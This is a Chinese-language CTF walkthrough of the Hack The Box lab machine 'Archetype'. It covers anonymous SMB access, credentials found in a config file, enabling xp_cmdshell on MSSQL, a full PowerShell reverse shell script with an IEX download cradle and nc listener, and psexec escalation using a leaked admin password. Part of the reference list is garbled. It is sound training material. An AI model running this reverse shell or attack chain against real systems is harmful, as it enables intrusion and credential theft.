连接靶机
首先下载openvpn的配置文件,建议使用UDP协议进行连接,如果使用TCP协议连接,在最后提权的一步提权的时候可能会失败。
总starting point中找到靶机archetype,并点击Join Machine开启靶机。当靶机启动后会显示该靶机的IP地址。但是现在还不能访问该IP地址。需要建立vpn隧道后才能通信。
通过openvpn连接到hack the box的服务器。
openvpn starting_point_rpsate.ovpn
其中starting_point_rpsate.ovpn是刚才下载的配置文件。
当连接成功后系统中会出现一张虚拟的网卡,该网卡上的IP地址就是与靶机通信的IP地址。可以通过命令ifconfig 查看。现在已经建立连接了,下一步可以对靶机进行扫描了。
信息收集
扫描一下服务器开放的端口和服务,收集一下服务器有哪一些漏洞。
namp -sV --script vulners 10.10.10.27
-sV 代表收集服务器端口信息和开放的服务信息
–script vulners 代表使用扫描漏洞脚本
该服务器开放了135、139、445、1433等端口,其中443是共享文件协议(smb)的默认端口。如果在没有配置权限的情况下,该协议可能允许匿名访问共享文件夹。接下来测试一下是否可以匿名访问共享文件夹。
smbclient -N -L //10.10.10.27/
-N 代表匿名访问
-L 代表列出共享文件夹
经过测试确实能匿名访问,我们接下来逐个查看一下这些文件夹里面有一些什么文件。最终在backups中发现一个敏感文件prod.dtsConfig,把这个文件下载下来。
smbclient -N //10.10.10.27/backups
ls
get prod.dtsConfig
cat prod.dtsConfig
在这个文件中发现了账号 ARCHETYPE\sql_svc 和密码 M3g4c0rp123 ,我们用这个账号尝试登陆一下SQL服务,在之前通过nmap已经扫描出该服务器上使用的是SQL server。
连接数据库
接下来我们需要使用网络工具协议包impacket中的mssqlclient来连接到SQL server服务器。在kali中是自带这个工具的,如果没有发现可以上GitHub下载该工具。
安装及使用方法可以参考:https://www.freebuf.com/articles/web/175208.html
impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.10.10.27
如上图所示就是连接成功了,查看一下是否有系统权限。
SELECT IS_SRVROLEMEMBER ('sysadmin')
如上图出现1代表有系统权限。接下开启xp_cmdshell。
enable_xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
reconfigure;
执行系统命令,查看一下自己的权限。
xp_cmdshell "whoami"
执行成功,接下来需要获取操作系统普通用户的权限。
反弹shell
现在我们可以通过数据库执行操作系统命令,可以让服务器执行一段powershell命令来建立一个反向的shell。首先准备一个powershell文件a.sp1,该文件中代码如下所示(注意将其中的IP改成自己电脑中虚拟网卡的IP,即与靶机通信的IP地址):
$client = New-Object System.Net.Sockets.TCPClient("10.10.16.42",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
接下来搭建一个服务器,将a.ps1放在该服务器上供靶机下载。要注意的是执行该命令时所在的目录即网站根目录,所以在a.ps1所在的目录执行该命令即可。
python3 -m http.server 80
另外再开启一个命令行,监听 4443 端口,也可以监听其他端口,但是在a.psq文件中要做相应的修改。
nc -lvnp 4443
-l 代表监听模式
-v 代表输出详细报告
-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数
-p 指定端口号
接下来在靶机的SQL server执行命令,依然要注意修改IP地址:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http:
执行命令后报错了
New-Object : The ‘New-Object’ command was found in the module ‘Microsoft.PowerShell.Utility’, but the module could not be loaded. For more information, run ‘Import-Module Microsoft.PowerShell.Utility’.
按照系统的提示执行命令
xp_cmdshell "powershell "Import-Module Microsoft.PowerShell.Utility;IEX (New-Object Net.WebClient).DownloadString(\"http:
然后再回到监听窗口,如图所示出现# 号则说明反弹shell成功了。
现在得到了普通管理员的权限,现在可以去桌面获取flag了。
type C:\Users\sql_svc\Desktop\user.txt
提权
现在已经获取到一个flag了,接下来通过提权获取更高的权限。现在可以查看一下powershell的历史,说不定有意外的收获。
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
我们可以看出该用户执行过命令 net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!! 。该命令的作用是将主机ARchetype上的backups文件夹映射到自己的T盘,后面紧随着用户名和密码。
现在可以尝试用一下psexec提权,其原理是:
1.通过ipc$连接,释放psexecsvc.exe到目标
2.通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
3.客户端连接执行命令,服务端启动相应的程序并执行回显数据。
4.运行完后删除服务。这个在windows的日志中有详细的记录,另外psexec在少数情况下会出现服务没删除成功的bug。
更详细的内容可以参考:https://www.cnblogs.com/sup3rman/p/12381874.html
impacket-psexec administrator@10.10.10.27
执行命令并输入密码,如图所示则说明提权成功。
现在已经获取到最高权限了,可以获取管理员的flag了。
type C:\Users\Administrator\Desktop\root.txt
成功获取flag,接下来可以去hack the box提交flag了。
参考文献
[1] https://www.linkedin.com/pulse/hack-box-starting-point-archetype-nathan-barnes,Hack the Box - Starting Point: Archetype;
[2] https://forum.hackthebox.eu/discussion/2824/psa-fix-to-smbv1-smbclient-issues,PSA: Fix to SMBv1 smbclient issues
[3] https://www.cnblogs.com/sup3rman/p/12381874.html,Psexec和wmiexec的原理和区别
[4] https://www.jb51.net/softjc/2124.html,IPC
、
A
D
M
I
N
、ADMIN
、ADMIN、C
、
D
、D
、D都是什么?如何关闭取消删除Windows默认共享
[5] https://blog.csdn.net/weixin_35795675/article/details/113006804,nc 监听数据_linux包之nc之nc命令
[6] https://www.freebuf.com/articles/web/175208.html,Impacket网络协议工具包介绍
|